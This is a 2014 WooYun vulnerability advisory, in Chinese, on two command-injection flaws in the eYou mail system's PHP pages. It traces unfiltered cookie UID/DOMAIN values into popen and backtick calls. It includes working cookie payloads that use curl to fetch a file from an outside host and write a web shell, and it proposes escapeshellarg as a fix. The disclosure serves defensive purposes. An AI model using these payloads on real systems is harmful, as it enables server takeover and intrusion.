当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(39) 关注此漏洞

缺陷编号: WooYun-2014-70551

漏洞标题: 亿邮邮件系统命令执行可GetShell两处

相关厂商: 北京亿中邮信息技术有限公司

漏洞作者: 路人甲

提交时间: 2014-08-01 10:16

公开时间: 2014-10-30 10:18

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 命令执行+写shell

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

亿邮邮件系统命令执行可GetShell两处

详细说明:

亿邮的使用量就不多说了,用户量非常可观啊

但是就是问题还很多,安全方面基本上还停留在在几年前的状态

虽然估计发布了新版本,但是用户还是使用问题较多的老版本较多。



第一处命令执行:

文件/user/autoComplete.php

code 区域
$arr = explode("&",$_COOKIE["USER"]);
//--验证cookie。
for($i=0;$i<count($arr);$i++)
{
if(ereg("^SKIN=(.*)$",$arr[$i],$reg))
{
$skin = trim($reg[1]);
}
if(ereg("^UID=(.*)$",$arr[$i],$reg))
{
$uid = trim($reg[1]);
}
if(ereg("^DOMAIN=(.*)$",$arr[$i],$reg))
{
$domain = trim($reg[1]);
}
if(ereg("^TOKEN=(.*)$",$arr[$i],$reg))
{
$token = trim($reg[1]);
}
}

$part = $_GET['s'];
//$uid = "support";
//$domain = "**.**.**.**";
$users = readAddress($uid, $domain);



直接从cookie中获取参数USER

然后赋值给uid和domain

然后看看函数readAddress($uid, $domain);

code 区域
function readAddress($uid,$domain){
$binary = array();
$userDir = getUserDir($uid,$domain);
$addressDir = trim($userDir, "\n\r ")."/Profile/alias.individual";
if(!is_file($addressDir)) return false;
$fp = fopen($addressDir, "r");
if(!$fp){
echo "打开地址薄失败";
exit;
}
while(false != ($content = fgets($fp, 568))){
$binary[] =unpack("a20nick_name/a40email/a40name/a60h_street_address/a30h_city/a30h_province/a8h_zip/a20h_country/a16h_phone/a30c_company/a60c_street_address/a30c_city/a30c_province/a8c_zip/a20c_country/a16c_phone/a16pager/a16cellular/a16fax/a20icq/a30other/a5b_year/a3b_month/a3b_day",$content);
}
//var_dump($binary);
return $binary;
}



最后,uid和domain又进入了函数getUserDir($uid,$domain)

我们继续跟进getUserDir

code 区域
function getUserDir($uid, $domain) {
$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
$read = fread($handle, 2096);
pclose($handle);
return $read;
}



最后uid和domain进入了popen

$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');

这里的/var/eyou/sbin/hashid是亿邮系统执行命令的

此时,uid和domain没有经过任何过滤直接进入了命令,导致任意命令执行



漏洞利用:

设置cookie为:

UID=1|curl http://**.**.**.**/test.txt>>testfortest.php

然后访问localhost/user/autoComplete.php即可

此时会在localhost/user/下生成testfortest.php

shell地址为:

localhost/user/testfortest.php

111.png







第二处命令执行:

文件/user/storage_explort.php

code 区域
<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <fenghui@**.**.**.**>
* @copyright 2008 eY**.**.**.**
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');

$skin = getCookieUserValue('SKIN');
$uid = getCookieUserValue('UID');
$domain = getCookieUserValue('DOMAIN');
$user_dir_path = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);

// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);

$is_submit = $_POST['is_submit'] ? true : false;
?>



跟进getCookieUserValue函数:

code 区域
function getCookieUserValue($key) {
$user_arr = explode('&', cookie('USER'));
$n = count($user_arr);
for ($i = 0; $i < $n; $i++) {
$g_arr = explode('=', $user_arr[$i]);
if ($g_arr[0] == $key) {
return $g_arr[1];
}
}
return null;
}



跟进cookie函数:

code 区域
function cookie($name){
if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
return '';



整个过程没有对cookie 进行过滤

直接就爱那个cookie中USER的值取出来,然后进入了getUserDirPath函数

来看看getUserDirPath函数:

code 区域
/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
$cmd = "/var/eyou/sbin/hashid $uid $domain";
echo $cmd;
$path = `$cmd`;
$path = trim($path);
return $path;
}



uid和domain直接进入了命令,导致命令执行。



漏洞利用:

将cookie设置为:

USER=UID=1|curl http://**.**.**.**/test.txt>>testfortest1.php

然后访问localhost/user/storage_explore.php

此时会在localhost/user/下生成testfortest1.php文件

shell地址为:

localhost/user/testfortest1.php

222.png

漏洞证明:

如外网实例:

http://**.**.**.**//user/testfortest1.php

222.png

修复方案:

在$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');执行命令时

过滤输入的参数

可以使用escapeshellarg或者escapeshellcmd对输入的参数进行过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-04 17:35

厂商回复:

存在于旧版系统中,亿邮解决方案,尽快联系用户修补,非常感谢提供!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-08-01 10:50 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    1

    还来啊,不重复?

  2. 2014-08-01 12:00 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)
    0

    目测: http://www.cnseay.com/4011/

  3. 2014-08-01 12:46 | 草榴社区 ( 普通白帽子 | Rank:109 漏洞数:26 | Rank:9999 漏洞数:1024 | 未满18周岁,不准...)
    0

    为什么要匿名?

  4. 2014-08-01 12:58 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)
    0

    @小新 就是这两个了吧。

  5. 2014-08-01 13:08 | 好好吃饭天天向上 ( 路人 | Rank:5 漏洞数:1 | 漏洞是什么!?)
    0

    mark 坐等详情,@管理员 应该知道是不是了吧

  6. 2014-08-01 13:22 | YY-2012 ( 核心白帽子 | Rank:3726 漏洞数:720 | 意淫,是《红楼梦》原创的词汇,但后来演变...)
    0

    看我签名

  7. 2014-08-01 17:11 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    。。。这么悲催

登录后才能发表评论,请先 登录